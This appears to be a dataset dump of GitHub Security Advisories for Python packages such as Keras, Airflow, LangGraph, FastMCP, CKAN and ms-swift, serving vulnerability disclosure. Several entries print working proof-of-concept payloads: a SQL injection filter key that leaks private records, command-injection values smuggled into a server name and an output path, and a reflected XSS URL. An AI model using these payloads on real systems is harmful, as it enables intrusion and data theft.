deardaniel/secdata-raw huggingface dataset:
GitHub Security Advisory: GHSA-28jp-44vh-q42h
Package: keras (PIP)
Severity: HIGH (CVSS 0.0)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Vulnerable versions: < 3.12.0
Patched in: 3.12.0

Summary: Duplicate Advisory: Keras keras.utils.get_file API is vulnerable to a path traversal attack

Details:
### Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-hjqc-jx6g-rwp9. This link is maintained to preserve external references.

### Original Description
The keras.utils.get_file API in Keras, when used with the extract=True option for tar archives, is vulnerable to a path traversal attack. The utility uses Python's tarfile.extractall function without the filter="data" feature. A remote attacker can craft a malicious tar archive containing special symlinks, which, when extracted, allows them to write arbitrary files to any location on the filesystem outside of the intended destination folder. This vulnerability is linked to the underlying Python tarfile weakness, identified as CVE-2025-4517. Note that upgrading Python to one of the versions that fix CVE-2025-4517 (e.g. Python 3.13.4) is not enough. One additionally needs to upgrade Keras to a version with the fix (Keras 3.12).
GitHub Security Advisory: GHSA-f556-49jc-4rvc
Package: ansible (PIP)
Severity: MODERATE (CVSS 5.0)
CWE: CWE-212: Improper Removal of Sensitive Information Before Storage or Transfer
Vulnerable versions: < 2.10.1
Patched in: 2.10.1

Summary: Ansible does not collect garbage after playbook run

Details:
A flaw was found in Ansible Base when using the aws_ssm connection plugin as its garbage collector is not happening after the playbook run is completed. Files would remain in the bucket exposing the data. This issue directly affects data confidentiality.
GitHub Security Advisory: GHSA-pfrv-63w8-q7rq
Package: pdf2zh (PIP)
Severity: LOW (CVSS 0.0)
CWE: CWE-601: URL Redirection to Untrusted Site ('Open Redirect')
Vulnerable versions: = 1.9.9
Patched in: unpatched

Summary: Byaidu PDFMathTranslate vulnerable to open redirect

Details:
An open redirect vulnerability exists in Byaidu PDFMathTranslate v1.9.9 that allows attackers to craft URLs that cause the application to redirect users to arbitrary external websites via the file parameter to the /gradio_api endpoint. This vulnerability could be exploited for phishing attacks or to bypass security filters.
GitHub Security Advisory: GHSA-gp5f-cx7h-8q6f
Package: apache-airflow (PIP)
Severity: MODERATE (CVSS 4.6)
CWE: CWE-250: Execution with Unnecessary Privileges
Vulnerable versions: >= 3.0.0, < 3.1.1
Patched in: 3.1.1

Summary: Apache Airflow's create action can upsert existing Pools/Connections/Variables

Details:
User with CREATE and no UPDATE privilege for Pools, Connections, Variables could update existing records via bulk create API with overwrite action.
GitHub Security Advisory: GHSA-v3c9-j6h9-66v4
Package: apache-airflow (PIP)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Vulnerable versions: >= 3.0.0, < 3.0.5
Patched in: 3.0.5

Summary: Apache Airflow has a command injection vulnerability in "example_dag_decorator"

Details:
An example dag `example_dag_decorator` had non-validated parameter that allowed the UI user to redirect the example to a malicious server and execute code on worker. This however required that the example dags are enabled in production (not default) or the example dag code copied to build your own similar dag. If you used the `example_dag_decorator` please review it and apply the changes implemented in Airflow 3.0.5 accordingly.
GitHub Security Advisory: GHSA-273c-4g26-4jpm
Package: apache-airflow (PIP)
Severity: MODERATE (CVSS 5.4)
CWE: CWE-250: Execution with Unnecessary Privileges
Vulnerable versions: >= 3.0.0, < 3.1.1
Patched in: 3.1.1

Summary: Apache Airflow `/api/v2/dagReports` executes DAG Python in API

Details:
API users via `/api/v2/dagReports` could perform Dag code execution in the context of the api-server if the api-server was deployed in the environment where Dag files were available.
GitHub Security Advisory: GHSA-7p73-8jqx-23r8
Package: langgraph-checkpoint-sqlite (PIP)
Severity: HIGH (CVSS 7.3)
CWE: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Vulnerable versions: <= 2.0.10
Patched in: 2.0.11

Summary: LangGraph SQLite Checkpoint Filter Key SQL Injection POC for SqliteStore

Details:
### Summary
LangGraph's SQLite store implementation contains SQL injection vulnerabilities using direct string concatenation without proper parameterization, allowing attackers to inject arbitrary SQL and bypass access controls.

### Details
[`/langgraph/libs/checkpoint-sqlite/langgraph/store/sqlite/base.py`](https://github.com/langchain-ai/langgraph/blob/ee5d052a07aadd76dae123a27009ea0a3694fa0a/libs/checkpoint-sqlite/langgraph/store/sqlite/base.py#L407)

The key portion of the JSON path is concatenated directly into the SQL string without sanitation. There's a few different occurrences within the file.

```python
  filter_conditions.append(
      "json_extract(value, '$."
      + key  # <-- Directly concatenated, no escaping!
      + "') = '"
      + value.replace("'", "''")  # <-- Only value is escaped
      + "'"
  )
```

### Who is affected

This issue affects **only developers or projects that directly use the `checkpoint-sqlite` store**. 

An application is vulnerable only if it:
1. Instantiates the `SqliteStore` from the `checkpoint-sqlite` package, **and**
2. Builds the `filter` argument using keys derived from **untrusted or user-supplied input** (such as query parameters, request bodies, or other external data).

If filter keys are static or validated/allowlisted before being passed to the store, the risk does not apply.

Note: users of LangSmith deployments (previously known as LangGraph Platform) are not affected as those deployments rely on a different checkpointer implementation.

### PoC
_Complete instructions, including specific configuration details, to reproduce the vulnerability._

```python
#!/usr/bin/env python3
"""Minimal SQLite Key Injection POC for LangGraph"""

from langgraph.store.sqlite import SqliteStore

# Create store with test data
with SqliteStore.from_conn_string(":memory:") as store:
    store.setup()
    
    # Add public and private documents
    store.put(("docs",), "public", {"access": "public", "data": "public info"})
    store.put(("docs",), "private", {"access": "private", "data": "secret", "password": "123"})
    
    # Normal query - returns 1 public document
    normal = store.search(("docs",), filter={"access": "public"})
    print(f"Normal query: {len(normal)} docs")
    
    # SQL injection via malicious key
    malicious_key = "access') = 'public' OR '1'='1' OR json_extract(value, '$."
    injected = store.search(("docs",), filter={malicious_key: "dummy"})
    
    print(f"Injected query: {len(injected)} docs")
    for doc in injected:
        if doc.value.get("access") == "private":
            print(f"LEAKED: {doc.value}")
```
GitHub Security Advisory: GHSA-grjp-54v3-c442
Package: usd-core (PIP)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-416: Use After Free
Vulnerable versions: <= 25.08
Patched in: 25.11

Summary: OpenUSD File Parsing Use-After-Free Remote Code Execution Vulnerability

Details:
# Patch
This is fixed with [commit b953092](https://github.com/PixarAnimationStudios/OpenUSD/commit/b9530922b6a8ea72cd43661226b693fff8abbe4c), with the fix available in OpenUSD 25.11 and onwards.

# Summary
We have been advised by Zero Day Initiative that our usage of the USD framework may constitute a Use-After-Free Remote Code Execution Vulnerability. They have sent us the attached file illustrating the issue. Indeed, we see a use after free exception when running the file through our importer with an address sanitizer.

[zdi-23709-poc0.zip](https://github.com/user-attachments/files/17474297/zdi-23709-poc0.zip)

Thanks in advance.
GitHub Security Advisory: GHSA-2hvh-cw5c-8q8q
Package: ckan (PIP)
Severity: MODERATE (CVSS 6.1)
CWE: CWE-384: Session Fixation
Vulnerable versions: >= 2.11.0, < 2.11.4
Patched in: 2.11.4

Summary: CKAN vulnerable to fixed session IDs

Details:
### Impact

Session ids could be fixed by an attacker if the site is configured with server-side session storage (CKAN uses cookie-based session storage by default). The attacker would need to either set a cookie on the victim's browser or steal the victim's currently valid session. Session identifiers are now regenerated after each login.

### Patches
This vulnerability has been fixed in CKAN 2.10.9 and 2.11.4

### References
[https://en.wikipedia.org/wiki/Session_fixation](https://en.wikipedia.org/wiki/Session_fixation)
GitHub Security Advisory: GHSA-2hvh-cw5c-8q8q
Package: ckan (PIP)
Severity: MODERATE (CVSS 6.1)
CWE: CWE-384: Session Fixation
Vulnerable versions: >= 2.10.0, < 2.10.9
Patched in: 2.10.9

Summary: CKAN vulnerable to fixed session IDs

Details:
### Impact

Session ids could be fixed by an attacker if the site is configured with server-side session storage (CKAN uses cookie-based session storage by default). The attacker would need to either set a cookie on the victim's browser or steal the victim's currently valid session. Session identifiers are now regenerated after each login.

### Patches
This vulnerability has been fixed in CKAN 2.10.9 and 2.11.4

### References
[https://en.wikipedia.org/wiki/Session_fixation](https://en.wikipedia.org/wiki/Session_fixation)
GitHub Security Advisory: GHSA-mq84-hjqx-cwf2
Package: keras (PIP)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-502: Deserialization of Untrusted Data, CWE-918: Server-Side Request Forgery (SSRF)
Vulnerable versions: < 3.12.0
Patched in: 3.12.0

Summary: Keras is vulnerable to arbitrary local file loading and Server-Side Request Forgery

Details:
The Keras.Model.load_model method, including when executed with the intended security mitigation safe_mode=True, is vulnerable to arbitrary local file loading and Server-Side Request Forgery (SSRF).


This vulnerability stems from the way the StringLookup layer is handled during model loading from a specially crafted .keras archive. The constructor for the StringLookup layer accepts a vocabulary argument that can specify a local file path or a remote file path.

  *  Arbitrary Local File Read: An attacker can create a malicious .keras file that embeds a local path in the StringLookup layer's configuration. When the model is loaded, Keras will attempt to read the content of the specified local file and incorporate it into the model state (e.g., retrievable via get_vocabulary()), allowing an attacker to read arbitrary local files on the hosting system.


  *  Server-Side Request Forgery (SSRF): Keras utilizes tf.io.gfile for file operations. Since tf.io.gfile supports remote filesystem handlers (such as GCS and HDFS) and HTTP/HTTPS protocols, the same mechanism can be leveraged to fetch content from arbitrary network endpoints on the server's behalf, resulting in an SSRF condition.


The security issue is that the feature allowing external path loading was not properly restricted by the safe_mode=True flag, which was intended to prevent such unintended data access.
GitHub Security Advisory: GHSA-9w53-xr52-mwgj
Package: sglang (PIP)
Severity: MODERATE (CVSS 7.3)
CWE: CWE-20: Improper Input Validation, CWE-502: Deserialization of Untrusted Data
Vulnerable versions: <= 0.5.3
Patched in: 0.5.4

Summary: SGLang Remote Code Execution Vulnerability via Unsafe Deserialization in update_weights_from_tensor

Details:
A security flaw has been discovered in lmsys sglang 0.4.6. Affected by this vulnerability is the function main of the file /update_weights_from_tensor. The manipulation of the argument serialized_named_tensors results in deserialization. The attack can be launched remotely. The exploit has been released to the public and may be exploited. The vendor was contacted early about this disclosure but did not respond in any way.
GitHub Security Advisory: GHSA-rj5c-58rq-j5g5
Package: fastmcp (PIP)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Vulnerable versions: < 2.13.0
Patched in: 2.13.0

Summary: FastMCP vulnerable to windows command injection in FastMCP Cursor installer via server_name

Details:
### Summary
A command-injection vulnerability lets any attacker who can influence the server_name field of an MCP execute arbitrary OS commands on Windows hosts that run fastmcp install cursor

### Details
1. generate_cursor_deeplink(server_name, …) embeds server_name verbatim in a cursor://…?name= query string.
2. open_deeplink() is invoked with shell=True only on Windows. That calls cmd.exe /c start <deeplink>.
3. Any cmd metacharacter inside server_name (&, |, >, ^, …) escapes the start command and spawns an attacker-chosen process.

### PoC
server.py 
```

import random
from fastmcp import FastMCP

mcp = FastMCP(name="test&calc")

@mcp.tool
def roll_dice(n_dice: int) -> list[int]:
    """Roll `n_dice` 6-sided dice and return the results."""
    return [random.randint(1, 6) for _ in range(n_dice)]

if __name__ == "__main__":
    mcp.run()
```

then run in the terminal:
`fastmcp install cursor server.py`

### Impact
OS Command / Shell Injection (CWE-78)
Every Windows host that runs fastmcp install cursor is at risk. Developers on their local workstations, CI/CD agents and corporate build machines alike.
GitHub Security Advisory: GHSA-mxxr-jv3v-6pgc
Package: fastmcp (PIP)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: < 2.13.0
Patched in: 2.13.0

Summary: FastMCP vulnerable to reflected XSS in client's callback page

Details:
### Summary
While setting up an oauth client, it was noticed that the callback page hosted by the client during the flow embeds user-controlled content without escaping or sanitizing it. This leads to a reflected Cross-Site-Scripting vulnerability.

### Details
The affected code is located in *https://github.com/jlowin/fastmcp/blob/main/src/fastmcp/client/oauth_callback.py*, which embeds all values passed to the `create_callback_html` function via the `message` parameter it into the callback page without escaping them. This can, for example, be abused by calling the callback server with an XSS payload inside the `error` GET parameter, the value of which will then be inserted into the callback page, causing the execution of attacker-controlled JavaScript code in the callback server's origin. Note that besides the `error` parameter, other parameters reaching this function are affected too.

### PoC
1. Setup a simple fastmcp client such as this one (the callback server's port was fixated for simplicity):

```
url="http://127.0.0.1:8000/mcp"
oauth = OAuth(mcp_url=url,callback_port=1337)

async def main():
    async with Client(url, auth=oauth) as client:
        await client.ping()
        
        # List available operations
        tools = await client.list_tools()

        print(f"tools: {tools}")
       
asyncio.run(main())
```

2. Ensure that the MCP server located at `http://127.0.0.1:8000/mcp` supports oauth.
3. Start the client.
4. As soon as the callback server has been started, access `http://localhost:1337/callback?error=<img/src/onerror=alert(window.origin)>`

Note that the exploitation could also for example be initiated by a malicious authorization server by returning the exploitation URL mentioned before in the `authorization_endpoint` field. The client would then automatically open, causing the XSS to trigger immediatly.

### Impact
The impact of this XSS vulnerability is the arbitrary JavaScript execution in the victim's browser in the callback server's origin.
GitHub Security Advisory: GHSA-2r4h-8jxv-w2j8
Package: ckan (PIP)
Severity: MODERATE (CVSS 6.3)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: < 2.10.9
Patched in: 2.10.9

Summary: CKAN vulnerable to stored XSS in resource description

Details:
### Impact

The `helpers.markdown_extract()` function did not perform sufficient sanitization of input data before wrapping in an HTML literal element. This helper is used to render user-provided data on dataset, resource, organization or group pages (plus any page provided by an extension that used that helper function), leading to a potential XSS vector.

### Patches
This vulnerability has been fixed in CKAN 2.10.9 and 2.11.4
GitHub Security Advisory: GHSA-2r4h-8jxv-w2j8
Package: ckan (PIP)
Severity: MODERATE (CVSS 6.3)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: >= 2.11.0, < 2.11.4
Patched in: 2.11.4

Summary: CKAN vulnerable to stored XSS in resource description

Details:
### Impact

The `helpers.markdown_extract()` function did not perform sufficient sanitization of input data before wrapping in an HTML literal element. This helper is used to render user-provided data on dataset, resource, organization or group pages (plus any page provided by an extension that used that helper function), leading to a potential XSS vector.

### Patches
This vulnerability has been fixed in CKAN 2.10.9 and 2.11.4
GitHub Security Advisory: GHSA-wq2g-r956-j8cc
Package: pg8000 (PIP)
Severity: HIGH (CVSS 0.0)
CWE: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Vulnerable versions: <= 1.31.4
Patched in: 1.31.5

Summary: pg8000 SQL injection vulnerability via a specially crafted Python list input

Details:
SQL injection vulnerability in tlocke pg8000 1.31.4 allows remote attackers to execute arbitrary SQL commands via a specially crafted Python list input to function pg8000.native.literal.
GitHub Security Advisory: GHSA-4h97-wpxp-3757
Package: langgraph-checkpoint-sqlite (PIP)
Severity: HIGH (CVSS 7.3)
CWE: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Vulnerable versions: <= 2.0.10
Patched in: 2.0.11

Summary: LangGraph's SQLite store implementation has a SQL Injection Vulnerability

Details:
A SQL injection vulnerability exists in the langchain-ai/langgraph repository, specifically in the LangGraph's SQLite store implementation. The affected version is langgraph-checkpoint-sqlite 2.0.10. The vulnerability arises from improper handling of filter operators ($eq, $ne, $gt, $lt, $gte, $lte) where direct string concatenation is used without proper parameterization. This allows attackers to inject arbitrary SQL, leading to unauthorized access to all documents, data exfiltration of sensitive fields such as passwords and API keys, and a complete bypass of application-level security filters.
GitHub Security Advisory: GHSA-p3v4-c93g-cmhw
Package: bbot (PIP)
Severity: MODERATE (CVSS 4.7)
CWE: CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
Vulnerable versions: >= 2.7.0.6919rc0, < 2.7.2
Patched in: 2.7.2

Summary: BBOT's gitlab.py exposes globally configured "gitlab" API key

Details:
### Summary

bbot's `gitlab.py` sends the user's "gitlab" API key to on-premise GitLab instances.

If a user has configured a gitlab.com API key using this mechanism, it may be leaked to an attacker-controlled server.

### Impact

A user with a "gitlab" API key configured who uses bbot to scan a malicious webserver may leak their gitlab.com API key to an untrustworthy server.
GitHub Security Advisory: GHSA-p3v4-c93g-cmhw
Package: bbot (PIP)
Severity: MODERATE (CVSS 4.7)
CWE: CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
Vulnerable versions: < 2.7.0
Patched in: 2.7.2

Summary: BBOT's gitlab.py exposes globally configured "gitlab" API key

Details:
### Summary

bbot's `gitlab.py` sends the user's "gitlab" API key to on-premise GitLab instances.

If a user has configured a gitlab.com API key using this mechanism, it may be leaked to an attacker-controlled server.

### Impact

A user with a "gitlab" API key configured who uses bbot to scan a malicious webserver may leak their gitlab.com API key to an untrustworthy server.
GitHub Security Advisory: GHSA-4xh5-x5gv-qwph
Package: pip (PIP)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-59: Improper Link Resolution Before File Access ('Link Following')
Vulnerable versions: <= 25.2
Patched in: 25.3

Summary: pip's fallback tar extraction doesn't check symbolic links point to extraction directory

Details:
When extracting a tar archive pip may not check symbolic links point into the extraction directory if the tarfile module doesn't implement PEP 706. Note that upgrading pip to a "fixed" version for this vulnerability doesn't fix all known vulnerabilities that are remediated by using a Python version that implements PEP 706. Note that this is a vulnerability in pip's fallback implementation of tar extraction for Python versions that don't implement PEP 706 and therefore are not secure to all vulnerabilities in the Python 'tarfile' module. If you're using a Python version that implements PEP 706 then pip doesn't use the "vulnerable" fallback code. Mitigations include upgrading to a version of pip that includes the fix, upgrading to a Python version that implements PEP 706 (Python >=3.9.17, >=3.10.12, >=3.11.4, or >=3.12), applying the linked patch, or inspecting source distributions (sdists) before installation as is already a best-practice.
GitHub Security Advisory: GHSA-7c78-rm87-5673
Package: ms-swift (PIP)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-117: Improper Output Neutralization for Logs
Vulnerable versions: < 3.7.0
Patched in: 3.7.0

Summary: MS SWIFT WEB-UI RCE Vulnerability

Details:
**I. Detailed Description:** 

This includes scenarios, screenshots, vulnerability reproduction methods. For account-related vulnerabilities, please provide test accounts. If the reproduction process is complex, you may record a video, upload it to Taopan, and attach the link.

1. Install ms-swift
   ```
   pip install ms-swift -U
   ```

2. Start web-ui
   ```
   swift web-ui --lang en
   ```

3. After startup, access through browser at [http://localhost:7860/](http://localhost:7860/) to see the launched fine-tuning framework program

4. Fill in necessary parameters
   In the LLM Training interface, fill in required parameters including Model id, Dataset Code. The --output_dir can be filled arbitrarily as it will be modified later through packet capture

5. Click Begin to start training. Capture packets and modify the parameter corresponding to --output_dir

   You can see the concatenated command being executed in the terminal where web-ui was started

6. Wait for the program to run (testing shows it requires at least 5 minutes), and you can observe the effect of command execution creating files

**II. Vulnerability Proof (Write POC here):**
```
/tmp/xxx'; touch /tmp/inject_success_1; #
```

**III. Fix Solution:**
1. The swift.ui.llm_train.llm_train.LLMTrain#train() method should not directly concatenate parameters with commands after receiving commands from the frontend
2. The swift.ui.llm_train.llm_train.LLMTrain#train_local() method should not use os.system for execution, but should be changed to subprocess.run([cmd, arg1, arg2...]) format

## Author

* Discovered by: [TencentAISec](https://github.com/TencentAISec)
* Contact: *[security@tencent.com](mailto:security@tencent.com)*
GitHub Security Advisory: GHSA-jfx9-29x2-rv3j
Package: pypdf (PIP)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-409: Improper Handling of Highly Compressed Data (Data Amplification)
Vulnerable versions: < 6.1.3
Patched in: 6.1.3

Summary: pypdf can exhaust RAM via manipulated LZWDecode streams

Details:
### Impact

An attacker who uses this vulnerability can craft a PDF which leads to large memory usage. This requires parsing the content stream of a page using the LZWDecode filter.

### Patches
This has been fixed in [pypdf==6.1.3](https://github.com/py-pdf/pypdf/releases/tag/6.1.3).

### Workarounds
If you cannot upgrade yet, consider applying the changes from PR [#3502](https://github.com/py-pdf/pypdf/pull/3502).